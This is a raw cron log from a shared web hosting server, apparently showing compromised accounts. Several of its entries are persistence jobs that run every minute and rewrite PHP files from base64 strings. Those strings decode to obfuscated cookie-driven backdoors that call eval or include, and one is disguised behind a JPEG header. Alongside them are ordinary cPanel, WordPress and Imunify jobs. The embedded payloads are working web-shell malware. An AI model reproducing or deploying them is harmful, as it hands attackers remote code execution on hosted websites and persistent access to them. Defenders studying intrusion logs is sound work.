Jun  7 11:18:01 medusa CROND[6615]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:18:01 medusa CROND[6616]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Jun  7 11:18:01 medusa CROND[6617]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:18:01 medusa CROND[6623]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:18:01 medusa CROND[6624]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:18:01 medusa CROND[6629]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:18:01 medusa CROND[6633]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:19:02 medusa CROND[8366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:19:02 medusa CROND[8367]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:19:02 medusa CROND[8368]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:19:02 medusa CROND[8369]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 11:19:02 medusa CROND[8370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:19:02 medusa CROND[8371]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:19:02 medusa CROND[8374]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:19:02 medusa CROND[8375]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:19:02 medusa CROND[8376]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:19:02 medusa CROND[8377]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:19:02 medusa CROND[8384]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:19:02 medusa CROND[8387]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:20:01 medusa CROND[10281]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 11:20:01 medusa CROND[10283]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 11:20:01 medusa CROND[10289]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 11:20:02 medusa CROND[10314]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 11:20:02 medusa CROND[10317]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:20:02 medusa CROND[10316]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:20:02 medusa CROND[10318]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 11:20:02 medusa CROND[10319]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 11:20:02 medusa CROND[10320]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 11:20:02 medusa CROND[10322]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:20:02 medusa CROND[10324]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 11:20:02 medusa CROND[10327]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 11:20:02 medusa CROND[10329]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:20:02 medusa CROND[10334]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:20:02 medusa CROND[10335]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
